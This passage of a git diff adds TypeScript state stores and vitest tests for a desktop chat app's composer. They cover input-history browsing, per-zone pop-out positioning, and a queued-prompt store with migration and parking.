+    expect(browseBackward(SESSION_A, '', HISTORY)).toBeNull()
+  })
+
+  it('uses caller-provided history, not a mirrored ring', () => {
+    // The store never owns the ring — the caller passes it every press.
+    // If the ring changes between presses (e.g. a new message was sent),
+    // the next press sees the updated ring and the cursor continues
+    // from where it was within it.
+    expect(browseBackward(SESSION_A, '', ['youngest', 'older'])).toBe('youngest')
+
+    // Caller added a new message; ring is now [brand-new, youngest, older].
+    // Cursor was at 0, next press advances to 1 -> "youngest".
+    expect(browseBackward(SESSION_A, '', ['brand-new', 'youngest', 'older'])).toBe('youngest')
+
+    // One more press -> "older".
+    expect(browseBackward(SESSION_A, '', ['brand-new', 'youngest', 'older'])).toBe('older')
+  })
+})
+
+describe('browseForward', () => {
+  it('returns null when not browsing', () => {
+    expect(browseForward(SESSION_A, HISTORY)).toBeNull()
+  })
+
+  it('moves toward the present', () => {
+    browseBackward(SESSION_A, 'draft', HISTORY) // cursor 0 -> 'third'
+    browseBackward(SESSION_A, '', HISTORY) // cursor 1 -> 'second'
+
+    expect(browseForward(SESSION_A, HISTORY)).toEqual({
+      text: 'third',
+      returnedToPresent: false
+    })
+  })
+
+  it('restores the saved draft and resets when reaching the present', () => {
+    browseBackward(SESSION_A, 'my original draft', HISTORY)
+
+    const result = browseForward(SESSION_A, HISTORY)
+
+    expect(result).toEqual({ text: 'my original draft', returnedToPresent: true })
+    expect(isBrowsingHistory(SESSION_A)).toBe(false)
+  })
+})
+
+describe('per-session isolation', () => {
+  it('tracks cursor and draft independently per session', () => {
+    browseBackward(SESSION_A, 'draft-a', HISTORY)
+    browseBackward(SESSION_A, '', HISTORY) // older
+
+    browseBackward(SESSION_B, 'draft-b', HISTORY)
+
+    const a = $perSessionBrowse.get()[SESSION_A]!
+    const b = $perSessionBrowse.get()[SESSION_B]!
+
+    expect(a.cursor).toBe(1)
+    expect(a.draftSnapshot).toBe('draft-a')
+    expect(b.cursor).toBe(0)
+    expect(b.draftSnapshot).toBe('draft-b')
+  })
+})
+
+describe('resetBrowseState', () => {
+  it('clears cursor and draft snapshot', () => {
+    browseBackward(SESSION_A, 'draft', HISTORY)
+    resetBrowseState(SESSION_A)
+
+    const s = $perSessionBrowse.get()[SESSION_A]!
+
+    expect(s.cursor).toBe(-1)
+    expect(s.draftSnapshot).toBe('')
+  })
+})
+
+describe('session switch behavior', () => {
+  it('resets the previous session cursor and lets the new session derive its own ring', () => {
+    // Session A: user browsed into the past
+    browseBackward(SESSION_A, '', HISTORY)
+    expect(isBrowsingHistory(SESSION_A)).toBe(true)
+
+    // Caller switches to session B; resets A's browse state
+    resetBrowseState(SESSION_A)
+
+    // Session B's ring is derived from B's messages, not A's
+    const sessionBMessages = [MSG('user', 'hello-b'), MSG('user', 'world-b')]
+    const sessionBHistory = deriveUserHistory(sessionBMessages, m => m.text)
+
+    expect(browseBackward(SESSION_B, '', sessionBHistory)).toBe('world-b')
+    expect(browseBackward(SESSION_B, '', sessionBHistory)).toBe('hello-b')
+    expect(isBrowsingHistory(SESSION_A)).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/store/composer-input-history.ts b/ui-desktop/src/store/composer-input-history.ts
new file mode 100644
index 000000000..36bd81d26
--- /dev/null
+++ b/ui-desktop/src/store/composer-input-history.ts
@@ -0,0 +1,164 @@
+import { atom } from 'nanostores'
+
+/**
+ * Per-session input history browse state.
+ *
+ * The user-text ring is **derived from the live session messages** on each
+ * keypress — it is not mirrored anywhere. This keeps a single source of truth
+ * and avoids the entire class of seeding/dedup bugs that come from trying to
+ * keep a parallel ring in sync with submit/queue/voice paths.
+ *
+ * We only persist the cursor and the saved draft:
+ *   - `cursor` — index into the derived user-text ring (0 = newest, larger = older).
+ *     `-1` means "not browsing".
+ *   - `draftSnapshot` — the composer text at the moment the user started
+ *     browsing, so ArrowDown back to the "present" restores it.
+ */
+export interface SessionBrowseState {
+  cursor: number
+  draftSnapshot: string
+}
+
+const $perSessionBrowse = atom<Record<string, SessionBrowseState>>({})
+
+function ensure(sessionId: string): SessionBrowseState {
+  const all = { ...$perSessionBrowse.get() }
+  let s = all[sessionId]
+
+  if (!s) {
+    s = { cursor: -1, draftSnapshot: '' }
+    all[sessionId] = s
+    $perSessionBrowse.set(all)
+  }
+
+  return s
+}
+
+function persist() {
+  $perSessionBrowse.set({ ...$perSessionBrowse.get() })
+}
+
+function valid(sessionId: string | null | undefined): sessionId is string {
+  return typeof sessionId === 'string' && sessionId.length > 0
+}
+
+/**
+ * Derive the user-text ring (newest first) from session messages.
+ * The caller is responsible for providing already-session-scoped messages.
+ */
+export function deriveUserHistory<T extends { role: string }>(
+  messages: readonly T[],
+  getText: (m: T) => string
+): string[] {
+  const out: string[] = []
+
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const m = messages[i]!
+
+    if (m.role !== 'user') {
+      continue
+    }
+
+    const t = getText(m).trim()
+
+    if (t) {
+      out.push(t)
+    }
+  }
+
+  return out
+}
+
+/**
+ * Start browsing backward, or step to the next older entry.
+ * Returns the text to place in the composer, or null if already at the oldest
+ * entry (or the ring is empty).
+ */
+export function browseBackward(
+  sessionId: string | null | undefined,
+  currentDraft: string,
+  history: readonly string[]
+): string | null {
+  if (!valid(sessionId) || history.length === 0) {
+    return null
+  }
+
+  const s = ensure(sessionId)
+
+  if (s.cursor === -1) {
+    s.draftSnapshot = currentDraft
+    s.cursor = 0
+  } else if (s.cursor < history.length - 1) {
+    s.cursor += 1
+  } else {
+    return null
+  }
+
+  persist()
+
+  return history[s.cursor]!
+}
+
+/**
+ * Browse forward toward the present. When reaching the "newest" entry the
+ * saved draft is restored and the cursor resets.
+ */
+export function browseForward(
+  sessionId: string | null | undefined,
+  history: readonly string[]
+): { text: string; returnedToPresent: boolean } | null {
+  if (!valid(sessionId)) {
+    return null
+  }
+
+  const s = ensure(sessionId)
+
+  if (s.cursor === -1) {
+    return null
+  }
+
+  if (s.cursor > 0) {
+    s.cursor -= 1
+    persist()
+
+    return { text: history[s.cursor]!, returnedToPresent: false }
+  }
+
+  // At newest; moving forward restores the saved draft.
+  const text = s.draftSnapshot
+  s.cursor = -1
+  s.draftSnapshot = ''
+  persist()
+
+  return { text, returnedToPresent: true }
+}
+
+/** Clear browse state for a session (e.g. on session switch or new submit). */
+export function resetBrowseState(sessionId: string | null | undefined) {
+  if (!valid(sessionId)) {
+    return
+  }
+
+  const all = { ...$perSessionBrowse.get() }
+  const existing = all[sessionId]
+
+  if (!existing) {
+    return
+  }
+
+  all[sessionId] = { cursor: -1, draftSnapshot: '' }
+  $perSessionBrowse.set(all)
+}
+
+/** True if the user is currently browsing history for this session. */
+export function isBrowsingHistory(sessionId: string | null | undefined): boolean {
+  if (!valid(sessionId)) {
+    return false
+  }
+
+  const s = $perSessionBrowse.get()[sessionId]
+
+  return s ? s.cursor >= 0 : false
+}
+
+export { $perSessionBrowse }
diff --git a/ui-desktop/src/store/composer-popout.test.ts b/ui-desktop/src/store/composer-popout.test.ts
new file mode 100644
index 000000000..dd551fa42
--- /dev/null
+++ b/ui-desktop/src/store/composer-popout.test.ts
@@ -0,0 +1,130 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import {
+  $composerPopoutZones,
+  clampPopoutPosition,
+  getComposerPopoutZone,
+  POPOUT_WIDTH_REM,
+  type PopoutBounds,
+  pruneComposerPopoutZones,
+  setComposerPopoutPosition,
+  setComposerPoppedOut
+} from './composer-popout'
+
+// jsdom's window is 1024x768; every expectation below is relative to that.
+const VW = 1024
+const VH = 768
+
+const BOX = { height: 56, width: 320 }
+
+// A split layout: chat on the right half, under a 40px header.
+const RIGHT_HALF: PopoutBounds = { bottom: VH, left: VW / 2, right: VW, top: 40 }
+// The same drag intent, viewed from the left half.
+const LEFT_HALF: PopoutBounds = { bottom: VH, left: 0, right: VW / 2, top: 40 }
+
+const LEFT_ZONE = 'g-left'
+const RIGHT_ZONE = 'g-right'
+
+describe('clampPopoutPosition', () => {
+  it('keeps the whole box inside its surface, not just its corner', () => {
+    const { bottom, right } = clampPopoutPosition({ bottom: 24, right: 24 }, BOX, RIGHT_HALF)
+
+    // Insets are viewport-relative, so convert back to an absolute rect.
+    const boxRight = VW - right
+    const boxLeft = boxRight - BOX.width
+    const boxBottom = VH - bottom
+    const boxTop = boxBottom - BOX.height
+
+    expect(boxLeft).toBeGreaterThanOrEqual(RIGHT_HALF.left)
+    expect(boxRight).toBeLessThanOrEqual(RIGHT_HALF.right)
+    expect(boxTop).toBeGreaterThanOrEqual(RIGHT_HALF.top)
+    expect(boxBottom).toBeLessThanOrEqual(RIGHT_HALF.bottom)
+  })
+
+  it('pulls an out-of-bounds intent back into the surface', () => {
+    // Dragged far left of this surface (a position that belongs to the other
+    // half of the split) — it must land inside, not off the edge.
+    const { right } = clampPopoutPosition({ bottom: 24, right: 900 }, BOX, RIGHT_HALF)
+
+    expect(VW - right - BOX.width).toBeGreaterThanOrEqual(RIGHT_HALF.left)
+  })
+
+  it('is pure — the same intent yields a different placement per surface', () => {
+    const intent = { bottom: 24, right: 24 }
+
+    const onRight = clampPopoutPosition(intent, BOX, RIGHT_HALF)
+    const onLeft = clampPopoutPosition(intent, BOX, LEFT_HALF)
+
+    // Right half honors the intent (it fits); left half has to push the box
+    // inward. Two surfaces, two placements, one unchanged intent — this is what
+    // lets keep-alive tabs share a zone's position without overwriting it.
+    expect(onRight).not.toEqual(onLeft)
+    expect(clampPopoutPosition(intent, BOX, RIGHT_HALF)).toEqual(onRight)
+  })
+
+  it('falls back to the full window when the surface has no measured area', () => {
+    const { bottom, right } = clampPopoutPosition({ bottom: 24, right: 24 }, BOX, undefined)
+
+    expect(bottom).toBe(24)
+    expect(right).toBe(24)
+  })
+
+  it('assumes the compact float width when the box is unmeasured', () => {
+    // Pre-layout (peel-off, restore) there is no rect yet; the fallback must
+    // still leave the box grabbable rather than clamping it to a zero-width slot.
+    const { right } = clampPopoutPosition({ bottom: 24, right: 5000 }, undefined, RIGHT_HALF)
+
+    expect(VW - right - POPOUT_WIDTH_REM * 16).toBeGreaterThanOrEqual(RIGHT_HALF.left)
+  })
+})
+
+describe('pop-out state is scoped to a layout zone', () => {
+  beforeEach(() => {
+    $composerPopoutZones.set({})
+  })
+
+  it('floats one zone without touching its neighbor', () => {
+    setComposerPoppedOut(LEFT_ZONE, true)
+
+    // Tabs in the left zone float; the right split stays docked. This is the
+    // whole point of keying by zone: popping out on the left must not fling a
+    // composer out of every other pane.
+    expect(getComposerPopoutZone(LEFT_ZONE).poppedOut).toBe(true)
+    expect(getComposerPopoutZone(RIGHT_ZONE).poppedOut).toBe(false)
+  })
+
+  it('keeps each zone position independent', () => {
+    setComposerPopoutPosition(LEFT_ZONE, { bottom: 100, right: 100 })
+    setComposerPopoutPosition(RIGHT_ZONE, { bottom: 24, right: 24 })
+
+    expect(getComposerPopoutZone(LEFT_ZONE).position).toEqual({ bottom: 100, right: 100 })
+    expect(getComposerPopoutZone(RIGHT_ZONE).position).toEqual({ bottom: 24, right: 24 })
+  })
+
+  it('reports the default for a zone nobody has touched', () => {
+    // Every tab in a fresh zone reads the same default, so a new split starts
+    // docked at the default corner rather than inheriting a neighbor's drag.
+    expect(getComposerPopoutZone('g-unseen')).toEqual({ poppedOut: false, position: { bottom: 24, right: 24 } })
+  })
+
+  it('does not let one zone float seed the zones split after it', () => {
+    setComposerPoppedOut(LEFT_ZONE, true)
+    setComposerPopoutPosition(LEFT_ZONE, { bottom: 200, right: 200 })
+
+    // A zone created later is its own thing — it must not inherit the float
+    // state of whichever zone happened to be touched first.
+    expect(getComposerPopoutZone('g-split-later')).toEqual({
+      poppedOut: false,
+      position: { bottom: 24, right: 24 }
+    })
+  })
+
+  it('drops state for zones that no longer exist', () => {
+    setComposerPoppedOut(LEFT_ZONE, true)
+    setComposerPoppedOut(RIGHT_ZONE, true)
+
+    pruneComposerPopoutZones([LEFT_ZONE])
+
+    expect(Object.keys($composerPopoutZones.get())).toEqual([LEFT_ZONE])
+  })
+})
diff --git a/ui-desktop/src/store/composer-popout.ts b/ui-desktop/src/store/composer-popout.ts
new file mode 100644
index 000000000..129509ae3
--- /dev/null
+++ b/ui-desktop/src/store/composer-popout.ts
@@ -0,0 +1,255 @@
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+import { persistString, storedString } from '@/lib/storage'
+
+const POPOUT_STORAGE_KEY = 'clawcodex.desktop.composerPopout.zones.v1'
+
+// Pre-zone keys: one flag + one position for the whole window. Read at load to
+// seed the first zone the user touches (see `legacySeed`), never written again.
+const LEGACY_ENABLED_KEY = 'clawcodex.desktop.composerPopout.enabled'
+const LEGACY_POSITION_KEY = 'clawcodex.desktop.composerPopout.position'
+
+/** Where the floating composer's bottom-right corner sits, measured as an inset
+ *  from the viewport's bottom/right edges. Anchoring to the bottom-right keeps
+ *  the box visually pinned to its default corner as the window resizes and as
+ *  the box grows upward while typing (the corner stays put, height climbs). */
+export interface PopoutPosition {
+  bottom: number
+  right: number
+}
+
+/** One layout zone's pop-out state. */
+export interface PopoutZoneState {
+  poppedOut: boolean
+  /** The user's intended placement for this zone, UNCLAMPED — every surface in
+   *  the zone renders `clampPopoutPosition` of it against its own rect. */
+  position: PopoutPosition
+}
+
+// Floating composer width (rem). Shared by the inline style that sets
+// --composer-popout-width and the peel-off drag math.
+export const POPOUT_WIDTH_REM = 19.5
+
+// Default pop-out placement: tucked into the bottom-right of the thread, clear
+// of the window chrome. Matches the brief's "default to the right bottom".
+const DEFAULT_POSITION: PopoutPosition = { bottom: 24, right: 24 }
+
+const DEFAULT_ZONE: PopoutZoneState = { poppedOut: false, position: DEFAULT_POSITION }
+
+const isPosition = (value: unknown): value is PopoutPosition => {
+  const r = value as null | Partial<PopoutPosition>
+
+  return typeof r?.bottom === 'number' && typeof r?.right === 'number'
+}
+
+/** The pre-zone position, if the user had one. */
+function legacyPosition(): PopoutPosition {
+  try {
+    const parsed = JSON.parse(storedString(LEGACY_POSITION_KEY) || 'null') as unknown
+
+    return isPosition(parsed) ? { bottom: parsed.bottom, right: parsed.right } : DEFAULT_POSITION
+  } catch {
+    return DEFAULT_POSITION
+  }
+}
+
+function load(): Record<string, PopoutZoneState> {
+  const out: Record<string, PopoutZoneState> = {}
+
+  try {
+    const parsed = JSON.parse(storedString(POPOUT_STORAGE_KEY) || 'null') as unknown
+
+    for (const [id, value] of Object.entries((parsed as Record<string, unknown>) ?? {})) {
+      const zone = value as null | Partial<PopoutZoneState>
+
+      if (typeof zone?.poppedOut === 'boolean' && isPosition(zone.position)) {
+        out[id] = { poppedOut: zone.poppedOut, position: { ...zone.position } }
+      }
+    }
+  } catch {
+    // Treat unparseable persisted state as missing.
+  }
+
+  return out
+}
+
+/** Every zone's pop-out state, keyed by layout-tree group id.
+ *
+ *  A GROUP is one stack of tabs, so this is the scope the user experiences:
+ *  tabs in the same zone share a float (switch tabs, the box stays where you
+ *  put it), while a split zone beside them keeps its own — popping out on the
+ *  left doesn't fling a composer out of the right. */
+export const $composerPopoutZones = atom<Record<string, PopoutZoneState>>(load())
+
+/** Write-through to storage. Called explicitly — NOT on every store change: a
+ *  drag updates the position once per frame, and serializing every zone to
+ *  localStorage at 60Hz is exactly the IO the drag path was built to avoid. */
+const persistZones = () => persistString(POPOUT_STORAGE_KEY, JSON.stringify($composerPopoutZones.get()))
+
+/** Whether the user had a float before zones existed. Seeds a zone's first read
+ *  so an upgrade doesn't silently dock someone who left their composer floating
+ *  — but ONLY until they touch any zone. Once real per-zone state exists, that
+ *  is the truth, and a zone split later starts docked like any other. */
+let legacySeed: PopoutZoneState | null =
+  storedString(LEGACY_ENABLED_KEY) === 'true' ? { poppedOut: true, position: legacyPosition() } : null
+
+const zoneState = (zones: Record<string, PopoutZoneState>, groupId: string): PopoutZoneState =>
+  zones[groupId] ?? legacySeed ?? DEFAULT_ZONE
+
+// Cached per-zone derived atoms keep useStore subscriptions referentially stable
+// (and keep one zone's drag from re-rendering the composers in another).
+const zoneCache = new Map<string, ReadableAtom<PopoutZoneState>>()
+
+export function $composerPopoutZone(groupId: string): ReadableAtom<PopoutZoneState> {
+  let cached = zoneCache.get(groupId)
+
+  if (!cached) {
+    cached = computed($composerPopoutZones, zones => zoneState(zones, groupId))
+    zoneCache.set(groupId, cached)
+  }
+
+  return cached
+}
+
+export const getComposerPopoutZone = (groupId: string): PopoutZoneState =>
+  zoneState($composerPopoutZones.get(), groupId)
+
+export interface PopoutSize {
+  height: number
+  width: number
+}
+
+/** Viewport-space rect the floating composer is confined to. Defaults to the
+ *  whole window; pass the thread area so the box can't slide under a pinned
+ *  sidebar or behind the header. */
+export interface PopoutBounds {
+  bottom: number
+  left: number
+  right: number
+  top: number
+}
+
+interface SetPositionOptions {
+  /** Thread-area rect to confine the box to; falls back to the full window. */
+  area?: PopoutBounds
+  persist?: boolean
+  /** Measured box size; falls back to the compact width + a min height so the
+   *  box stays grabbable even when the caller can't measure it. */
+  size?: PopoutSize
+}
+
+// Keep at least this much between the box and every edge of its bounds, so the
+// floating composer can never be dragged (or restored) out of reach.
+const EDGE_MARGIN = 8
+// Height floor used when the real box height is unknown (init / load / peel-off).
+export const POPOUT_ESTIMATED_HEIGHT = 56
+const MIN_VISIBLE_HEIGHT = POPOUT_ESTIMATED_HEIGHT
+
+const clampRange = (value: number, lo: number, hi: number) => Math.min(Math.max(value, lo), Math.max(lo, hi))
+
+const rootFontSize = () => parseFloat(getComputedStyle(document.documentElement).fontSize) || 16
+
+/** The chat surface a composer belongs to — the element whose rect bounds its
+ *  floating box. Resolved from the composer's OWN surface root, so each mounted
+ *  chat surface (primary, session tile, background tab) gets its own area
+ *  instead of a document-wide first match. */
+export const popoutBoundsElement = (composer: Element | null): Element | null =>
+  (composer?.closest('[data-chat-surface]') ?? document).querySelector('[data-slot="composer-bounds"]')
+
+/** The thread area's viewport rect (excludes a pinned sidebar + the header), or
+ *  undefined before it mounts — callers then fall back to the full window. */
+export function readPopoutBounds(composer: Element | null): PopoutBounds | undefined {
+  const el = popoutBoundsElement(composer)
+
+  if (!el) {
+    return undefined
+  }
+
+  const { bottom, height, left, right, top, width } = el.getBoundingClientRect()
+
+  // Pre-layout (mount before first layout) the rect is empty — fall back to the
+  // window rather than clamping the box into a collapsed area.
+  return width > 0 && height > 0 ? { bottom, left, right, top } : undefined
+}
+
+/**
+ * Bound the bottom/right inset so the WHOLE box stays inside `area` (the chat
+ * surface's region, or the window by default) — the corner anchor alone would
+ * let the box's width/height push it past the opposite edges.
+ *
+ * PURE and per-surface: a zone stores the user's INTENT, and each mounted
+ * composer in it runs that through here against its own rect to get the
+ * placement it actually renders. Tabs in a zone are keep-alive mounted, so
+ * clamping into the store instead would have every tab overwrite the others
+ * with a value bounded by ITS geometry.
+ */
+export function clampPopoutPosition(
+  { bottom, right }: PopoutPosition,
+  size?: PopoutSize,
+  area?: PopoutBounds
+): PopoutPosition {
+  const width = size?.width || POPOUT_WIDTH_REM * rootFontSize()
+  const height = size?.height || MIN_VISIBLE_HEIGHT
+  const { innerHeight: vh, innerWidth: vw } = window
+  const a = area ?? { bottom: vh, left: 0, right: vw, top: 0 }
+
+  return {
+    bottom: clampRange(bottom, vh - a.bottom + EDGE_MARGIN, vh - a.top - height - EDGE_MARGIN),
+    right: clampRange(right, vw - a.right + EDGE_MARGIN, vw - a.left - width - EDGE_MARGIN)
+  }
+}
+
+function patchZone(groupId: string, patch: Partial<PopoutZoneState>) {
+  const zones = $composerPopoutZones.get()
+  const stored = zones[groupId]
+  const next = { ...zoneState(zones, groupId), ...patch }
+
+  if (
+    stored?.poppedOut === next.poppedOut &&
+    stored.position.bottom === next.position.bottom &&
+    stored.position.right === next.position.right
+  ) {
+    return
+  }
+
+  // The user has now expressed per-zone intent; the pre-zone value stops
+  // standing in for zones they haven't touched.
+  legacySeed = null
+  $composerPopoutZones.set({ ...zones, [groupId]: next })
+}
+
+export function setComposerPoppedOut(groupId: string, value: boolean) {
+  patchZone(groupId, { poppedOut: value })
+  persistZones()
+}
+
+/** Move this zone's box. Used per-frame during a drag, so it only writes the
+ *  in-memory store by default; pass `persist` for the resting position on
+ *  release. Returns the clamped position so callers can sync their live ref. */
+export function setComposerPopoutPosition(
+  groupId: string,
+  position: PopoutPosition,
+  { area, persist, size }: SetPositionOptions = {}
+): PopoutPosition {
+  const next = clampPopoutPosition(position, size, area)
+  patchZone(groupId, { position: next })
+
+  if (persist) {
+    persistZones()
+  }
+
+  return next
+}
+
+/** Drop state for zones that no longer exist, so a long-lived install doesn't
+ *  accumulate an entry per zone the user ever split and closed. */
+export function pruneComposerPopoutZones(liveGroupIds: Iterable<string>) {
+  const live = new Set(liveGroupIds)
+  const zones = $composerPopoutZones.get()
+  const next = Object.fromEntries(Object.entries(zones).filter(([id]) => live.has(id)))
+
+  if (Object.keys(next).length !== Object.keys(zones).length) {
+    $composerPopoutZones.set(next)
+    persistZones()
+  }
+}
diff --git a/ui-desktop/src/store/composer-queue.test.ts b/ui-desktop/src/store/composer-queue.test.ts
new file mode 100644
index 000000000..208d24425
--- /dev/null
+++ b/ui-desktop/src/store/composer-queue.test.ts
@@ -0,0 +1,262 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import type { ComposerAttachment } from './composer'
+import {
+  $parkedQueueSessions,
+  $queuedPromptsBySession,
+  clearQueuedPrompts,
+  dequeueQueuedPrompt,
+  enqueueQueuedPrompt,
+  getQueuedPrompts,
+  isQueueParked,
+  migrateQueuedPrompts,
+  parkQueuedPrompts,
+  promoteQueuedPrompt,
+  removeQueuedPrompt,
+  shouldAutoDrain,
+  unparkQueuedPrompts,
+  updateQueuedPrompt,
+  updateQueuedPromptText
+} from './composer-queue'
+
+const SESSION_KEY = 'session-abc'
+const QUEUE_STORAGE_KEY = 'clawcodex.desktop.composerQueue.v1'
+
+function attachment(id: string, kind: ComposerAttachment['kind'] = 'file'): ComposerAttachment {
+  return {
+    id,
+    kind,
+    label: id,
+    refText: `@file:${id}`
+  }
+}
+
+describe('composer queue store', () => {
+  beforeEach(() => {
+    window.localStorage.removeItem(QUEUE_STORAGE_KEY)
+    $queuedPromptsBySession.set({})
+  })
+
+  it('queues prompts in FIFO order', () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'first' })
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'second' })
+
+    expect(dequeueQueuedPrompt(SESSION_KEY)?.text).toBe('first')
+    expect(dequeueQueuedPrompt(SESSION_KEY)?.text).toBe('second')
+    expect(dequeueQueuedPrompt(SESSION_KEY)).toBeNull()
+  })
+
+  it('clones attachments when queueing', () => {
+    const source = [attachment('a-1')]
+    const queued = enqueueQueuedPrompt(SESSION_KEY, { attachments: source, text: 'check clones' })
+
+    expect(queued).not.toBeNull()
+    expect(getQueuedPrompts(SESSION_KEY)[0]?.attachments[0]).toEqual(source[0])
+    expect(getQueuedPrompts(SESSION_KEY)[0]?.attachments[0]).not.toBe(source[0])
+  })
+
+  it('updates and removes queued entries by id', () => {
+    const first = enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'draft one' })
+    const second = enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'draft two' })
+
+    expect(first).not.toBeNull()
+    expect(second).not.toBeNull()
+
+    expect(updateQueuedPromptText(SESSION_KEY, first!.id, 'draft one edited')).toBe(true)
+    expect(getQueuedPrompts(SESSION_KEY).map(entry => entry.text)).toEqual(['draft one edited', 'draft two'])
+
+    expect(removeQueuedPrompt(SESSION_KEY, first!.id)).toBe(true)
+    expect(getQueuedPrompts(SESSION_KEY).map(entry => entry.text)).toEqual(['draft two'])
+  })
+
+  it('promotes a queued entry to the front', () => {
+    const first = enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'first' })
+    const second = enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'second' })
+    const third = enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'third' })
+
+    expect(first).not.toBeNull()
+    expect(second).not.toBeNull()
+    expect(third).not.toBeNull()
+
+    expect(promoteQueuedPrompt(SESSION_KEY, third!.id)).toBe(true)
+    expect(getQueuedPrompts(SESSION_KEY).map(entry => entry.text)).toEqual(['third', 'first', 'second'])
+    expect(promoteQueuedPrompt(SESSION_KEY, third!.id)).toBe(false)
+  })
+
+  it('updates queued text and attachment snapshot', () => {
+    const first = enqueueQueuedPrompt(SESSION_KEY, { attachments: [attachment('f-1')], text: 'draft one' })
+    const editedAttachments = [attachment('f-2'), attachment('f-3', 'image')]
+
+    expect(first).not.toBeNull()
+    expect(
+      updateQueuedPrompt(SESSION_KEY, first!.id, {
+        attachments: editedAttachments,
+        text: 'edited text'
+      })
+    ).toBe(true)
+
+    const queue = getQueuedPrompts(SESSION_KEY)
+    expect(queue[0]?.text).toBe('edited text')
+    expect(queue[0]?.attachments).toEqual(editedAttachments)
+    expect(queue[0]?.attachments[0]).not.toBe(editedAttachments[0])
+  })
+
+  it('clears queue state for a session', () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [attachment('img-1', 'image')], text: 'queued' })
+
+    clearQueuedPrompts(SESSION_KEY)
+
+    expect(getQueuedPrompts(SESSION_KEY)).toEqual([])
+    expect($queuedPromptsBySession.get()[SESSION_KEY]).toBeUndefined()
+    expect(window.localStorage.getItem(QUEUE_STORAGE_KEY)).toBeNull()
+  })
+
+  it('persists queue entries into local storage', () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'persist me' })
+
+    const raw = window.localStorage.getItem(QUEUE_STORAGE_KEY)
+    expect(raw).toBeTruthy()
+
+    const parsed = JSON.parse(String(raw)) as Record<string, { text: string }[]>
+    expect(parsed[SESSION_KEY]?.[0]?.text).toBe('persist me')
+  })
+})
+
+describe('migrateQueuedPrompts', () => {
+  beforeEach(() => {
+    window.localStorage.removeItem(QUEUE_STORAGE_KEY)
+    $queuedPromptsBySession.set({})
+  })
+
+  it('moves entries from a dead runtime key onto the live one', () => {
+    enqueueQueuedPrompt('rt-old', { attachments: [], text: 'stranded' })
+
+    expect(migrateQueuedPrompts('rt-old', 'rt-new')).toBe(true)
+    expect(getQueuedPrompts('rt-old')).toEqual([])
+    expect(getQueuedPrompts('rt-new').map(e => e.text)).toEqual(['stranded'])
+    // The dead key is dropped from the store entirely.
+    expect($queuedPromptsBySession.get()['rt-old']).toBeUndefined()
+  })
+
+  it('appends after existing target entries (FIFO preserved)', () => {
+    enqueueQueuedPrompt('rt-new', { attachments: [], text: 'already here' })
+    enqueueQueuedPrompt('rt-old', { attachments: [], text: 'migrated' })
+
+    migrateQueuedPrompts('rt-old', 'rt-new')
+
+    expect(getQueuedPrompts('rt-new').map(e => e.text)).toEqual(['already here', 'migrated'])
+  })
+
+  it('is a no-op when source is empty or keys match', () => {
+    expect(migrateQueuedPrompts('rt-old', 'rt-new')).toBe(false)
+    expect(migrateQueuedPrompts('rt-x', 'rt-x')).toBe(false)
+  })
+
+  it('must not be used across sessions without a same-lineage guard (documents the leak)', () => {
+    // ChatView used to call migrateQueuedPrompts(selectedA, routeKeyB) during the
+    // route-ahead/store-lag window of a session switch. That re-homes A's queue
+    // onto B so the idle ChatBar on B auto-drains it into the wrong conversation.
+    // The guard lives in shouldMigrateComposerScope — this test locks the
+    // underlying hazard so a future caller cannot treat migrate as free.
+    enqueueQueuedPrompt('root-a', { attachments: [], text: 'belongs to A' })
+
+    expect(migrateQueuedPrompts('root-a', 'root-b')).toBe(true)
+    expect(getQueuedPrompts('root-a')).toEqual([])
+    expect(getQueuedPrompts('root-b').map(e => e.text)).toEqual(['belongs to A'])
+  })
+})
+
+describe('shouldAutoDrain', () => {
+  it('drains whenever idle with a non-empty queue', () => {
+    expect(shouldAutoDrain({ isBusy: false, queueLength: 1 })).toBe(true)
+  })
+
+  it('drains on mount/reconnect with no observed busy edge', () => {
+    // The whole point of dropping the edge: a remount resets the busy ref, so an
+    // edge-gated drain would strand the entry. Idle + non-empty must still fire.
+    expect(shouldAutoDrain({ isBusy: false, queueLength: 2 })).toBe(true)
+  })
+
+  it('does not drain mid-turn', () => {
+    expect(shouldAutoDrain({ isBusy: true, queueLength: 1 })).toBe(false)
+  })
+
+  it('does not drain an empty queue', () => {
+    expect(shouldAutoDrain({ isBusy: false, queueLength: 0 })).toBe(false)
+  })
+
+  it('does not drain a parked queue, even when idle', () => {
+    // The Stop/Esc settle edge: busy just flipped false but the user asked to
+    // HALT — the park must hold the head back until they resume.
+    expect(shouldAutoDrain({ isBusy: false, parked: true, queueLength: 1 })).toBe(false)
+  })
+
+  it('drains again once the park is lifted', () => {
+    expect(shouldAutoDrain({ isBusy: false, parked: false, queueLength: 1 })).toBe(true)
+  })
+})
+
+describe('parked queue sessions', () => {
+  beforeEach(() => {
+    window.localStorage.removeItem(QUEUE_STORAGE_KEY)
+    $queuedPromptsBySession.set({})
+    $parkedQueueSessions.set({})
+  })
+
+  it('parks only sessions with queued entries', () => {
+    expect(parkQueuedPrompts(SESSION_KEY)).toBe(false)
+    expect(isQueueParked(SESSION_KEY)).toBe(false)
+
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'held back' })
+
+    expect(parkQueuedPrompts(SESSION_KEY)).toBe(true)
+    expect(isQueueParked(SESSION_KEY)).toBe(true)
+  })
+
+  it('unparks explicitly', () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'held back' })
+    parkQueuedPrompts(SESSION_KEY)
+
+    unparkQueuedPrompts(SESSION_KEY)
+
+    expect(isQueueParked(SESSION_KEY)).toBe(false)
+  })
+
+  it('queueing a fresh prompt lifts the park', () => {
+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'held back' })
+    parkQueuedPrompts(SESSION_KEY)
+
